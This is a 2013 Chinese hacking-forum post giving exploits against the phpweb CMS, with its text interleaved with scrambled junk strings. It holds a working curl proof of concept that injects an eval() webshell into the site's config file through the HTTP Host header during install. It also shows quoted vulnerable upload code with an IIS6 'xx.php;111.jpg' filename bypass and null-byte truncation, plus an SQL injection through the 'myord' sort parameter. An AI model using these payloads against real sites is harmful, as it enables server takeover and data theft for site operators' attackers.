中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
: w5 {2 y9 h8 p' P' A
! R _% I; a) u9 P2 v: v; {
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
1 ^4 J/ r$ F$ ]4 l+ [6 Z
7 f9 D3 c9 W9 m. l1 ~' c
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
# m9 P6 s; e7 `
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
0 `5 R% `$ Z+ p% G$ O; d
& ]: _$ S+ a W) ~- A" q) P
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
7 l2 d& r" ~4 B5 b6 H
5 }0 P+ J, m/ b/ i \- c
分析:
# K1 O. d1 S; D8 |5 ~# o3 ^
6 ^% w6 E( x- {$ T% {+ K
1 u! r/ `" ]# m. p8 d8 z. L9 h
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
. @) Z4 C; f2 \3 t
4 x8 d2 j Q# \+ |5 X5 W( P" D
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
2 q( B. i Q1 `
$filestr=str_replace(" ","",$filestr);
$ K0 l( K/ r; A: g
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
1 [3 L/ C; v0 I$ b" t; J1 w
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
! k' a5 R" S3 D; B# ^/ t
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
i& N1 c* d t+ `
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
0 |, z2 E* X7 p9 |3 A
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
- [2 {" a+ C" t. l# v
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
) X: N" S8 d# a! ~3 \8 P
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
) f$ u* j1 _1 m: k' }2 v# c- u
& e3 v5 f$ Q! I! l. {1 R. e) x- ` e
fwrite(fopen($ConFile,"w"),$filestr,30000);
2 V' h5 ]' h: S. C, Z! L! G
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 f0 S @7 S) Q i% M
8 J8 ` O8 ^# w9 M8 r; d
poc:
- O5 \1 |( R- ~" y* T9 `3 Y
; F! b: J& ]' w, D1 Y1 T+ c5 c
?
3 D& J; x3 S0 M1 C# W
1
0 x+ l: r% w0 O4 H
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
9 Z- m" e2 ^7 {- s/ l
shell地址: /config.inc.php
2 d- l C4 y) g) e" b) i
跟之前的 phpcms一样 需要远程数据库
@- }3 ^# d" U* e
4 Y& E, b, j: h: D
——————————————————–
7 |8 g% I# |5 v. h
上传漏洞(需要进后台):
3 R- v4 Z2 N% ?% p0 ]. e0 Q
漏洞文件: /kedit/upload_cgi/upload.php
( I9 S$ o3 {2 k
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
' F' R! n& n& Y9 L$ ^( m
4 Z3 c3 z2 F5 `2 q0 ^5 x
4 t3 s, L9 k6 q1 b7 M) Z- ^
<?php
$ w c* [0 E) K1 S9 b9 L) J
define("ROOTPATH", "../../");
% m' _8 S9 v. h+ F
include(ROOTPATH."includes/admin.inc.php");
* j) P* B) w' Z, \" P
NeedAuth(0);
7 S6 J- L# a& `9 V( T, y" s) L& l
v! J" S: U& k% W$ [
$dt=date("Ymd",time());
2 ^! D6 d, _! R
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
' s# x6 k/ u% G8 X0 Q
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
! L7 |# K2 y- A0 j% B+ B
}
- W7 |! N* ^& e4 t7 K
3 p2 H* M7 w4 f, j8 x
//文件保存目录路径
* }& w, z" |% c: U$ @
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
% o+ _( L' ^! X7 f- Y
echo $save_path;
& t3 p0 C* y5 V4 r% E0 n/ `6 d) U
//文件保存目录URL
0 g5 G d" q* E2 H
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
, q- _1 v! X, j P" b) l$ d& }
% z! c1 O# T: n4 j4 f$ R
//定义允许上传的文件扩展名
! g) _! {+ M) ~- Z
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
! {7 o% q& h: ^/ }- f1 g+ j+ f B
9 m0 O, E, S7 U* ~5 @( @% a x+ [
//最大文件大小
" Q- ^% D' p# L4 k( S
$max_size = 1000000;
/ m$ s E: {* r" T9 ~- O$ a; B
9 |/ I3 V; F8 {
//更改目录权限
& a+ e# b0 T; c/ ? i/ `
@mkdir($save_path, 0777);
* U% M, G2 k5 U
# T6 M+ H# c1 K! C1 U
//文件的全部路径
* J) {; G" e% o
$file_path = $save_path.$_POST['fileName']; //保存文件名
1 }' M4 G* u, v# z O
8 E. \) `( K( i. \, i) M* }
//文件URL
7 \ [" u0 T1 i; D7 Y8 f6 e
$file_url = $save_url.$_POST['fileName'];
: k/ k" i+ o# q _ v+ F: [
//有上传文件时
+ q. T. O& p F7 ^
if (empty($_FILES) === false) {
' r4 o \5 D* I6 k
$ c( g! G K7 B# V& I& P3 X$ `
//原文件名
! O, ~3 t7 v% I# B) U
$file_name = $_FILES['fileData']['name'];
- K: W L/ A$ O( ?
//服务器上临时文件名
, B8 M# Q- ?+ Y# b. [* n5 s' {
$tmp_name = $_FILES['fileData']['tmp_name'];
+ t% }" S7 X; h- K5 V$ x. Q9 ]/ X! W
//文件大小
# a) a9 d3 K O v; D
$file_size = $_FILES['fileData']['size'];
8 C5 E" ` j* f0 I8 Y
//检查目录
0 b: o6 V, c m
if (@is_dir($save_path) === false) {
5 [: G: g8 |* k u8 R+ e
alert("上传目录不存在。");
" x, F- K" K- S/ o/ Q4 v
}
& j3 v. e# R9 s8 _& T
//检查目录写权限
Q5 K( K3 x. |- }# h+ r3 j
if (@is_writable($save_path) === false) {
' Q( q0 i* i4 z" F" {! X! `( N
alert("上传目录没有写权限。");
5 A$ |2 H' b, ~; ^+ O
}
, T2 t8 o5 [ _2 u3 J# U
//检查是否已上传
& R1 n0 g" }7 \( m4 A' [
if (@is_uploaded_file($tmp_name) === false) {
: ]- D7 Z0 N/ o9 j- X2 r: v
alert("临时文件可能不是上传文件。");
9 T, \$ C2 w# a& Z
}
# s9 ~" t$ }3 S8 x i1 p3 J% ^
//检查文件大小
: l$ k3 U/ l- |' O. Q [% v ^1 }
if ($file_size > $max_size) {
, J' B2 u4 k2 ~3 p
alert("上传文件大小超过限制。");
1 ^& n( }+ t5 q+ }5 R
}
+ P1 m; O0 T7 V: W$ e- ~: q7 V* u
//获得文件扩展名
2 o3 n; p" f5 D% g
$temp_arr = explode(".", $_POST['fileName']);
5 m, P! z$ X& C6 b6 g
$file_ext = array_pop($temp_arr);
; _; b+ \$ T) u" A
$file_ext = trim($file_ext);
3 d! m# M5 `/ ]( t2 Q" t0 ]2 B
$file_ext = strtolower($file_ext);
( S4 w. ~" A' B& q+ ?
4 n# `' l6 ?, f9 A& G7 F0 \
//检查扩展名
: \1 A3 h8 M- b. ]3 j" \* X4 M
if (in_array($file_ext, $ext_arr) === false) {
% O: T: R; C" K
alert("上传文件扩展名是不允许的扩展名。");
' L" } z' W/ q# b" ^9 o" f2 U: o4 Q
}
8 X. J; h% H g: ]3 f+ N, s
9 C0 w, V# Y* s' U9 j4 Y$ Q
//移动文件
/ L7 E% g7 Q4 s" u7 p K
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
+ h4 D1 S: \" t; ?
if (move_uploaded_file($tmp_name, $file_path) === false) {
- c8 M1 }0 G# w" C6 Y {% e
alert("上传文件失败。");
9 N: j: _, e2 L$ p1 N
}
7 w: U' p9 Y& F4 n4 P: @
- H( C7 u; `, h- s6 y
@chmod($file_path,0666);
- p" d$ E$ c2 {
1 B3 X1 m2 K' e' Y+ |7 Y
?>
* A* A3 _/ r2 x& l2 ~
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
7 C1 Y. ?$ z/ E; K8 {+ ^0 ?% q& d& N
& Y- C' L- Q0 D4 y2 ~
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
9 t, l; P/ @$ f" _6 ?8 ~- y
9 i- I/ Q+ _ N. C8 q; q
——————————————————
: M! i) d% `1 } a0 O, t( a- }; R' C
注入漏洞:
8 G$ _! i; v+ _; I. ]
漏洞文件:search/module/search.php
3 x# U5 g9 T8 v6 n- X( l
/search/index.php?key=1&myord=1 [sqlinjection]
% K y) R M: X8 A& |1 T, D
8 C/ h6 A1 V& K2 v U6 B# s w/ c
0 J4 @; Q2 x# G, H* N1 M% S8 H
<?php
) N' G" I) F5 i" [ X9 u% Q
// ... 省略 n 行...
! o" E$ p' ~% d) m; x E/ K
//第18行:
7 T$ q/ T$ P6 [' E4 P+ z5 a
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
. T2 T4 @; y5 Z- u) ?+ c
$page=htmlspecialchars($_GET["page"]);
3 R0 _" T4 u5 Z6 M; t B
$myord=htmlspecialchars($_GET["myord"]);
/ `8 ^& n' b1 b C9 r4 h
" x! r$ V$ l7 u" c! e) P. B5 J$ f9 n
// ... 省略 n 行...
9 s! {* }! Q9 i# ?( q
$key,$myord 两个参数带入查询
& Y9 c1 B3 J. k2 L- [2 ]1 h
//第47行 $key:
6 _, _! f; |7 ~7 x q& |+ }0 f- _
* ]- E) V5 [3 L1 @+ s. o; s- m
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
9 a1 x- o# A8 k+ Q+ {' R+ K; A
' {) L( P0 S' K4 B; r* Q+ j5 B
//第197行 $myord
9 w6 v! J( ^& Z+ o
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
8 {" |! R- M0 R
8 P8 l! v6 \: z7 e
?>
v9 p, m( s" v% X" ?9 _$ ^6 T/ A
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2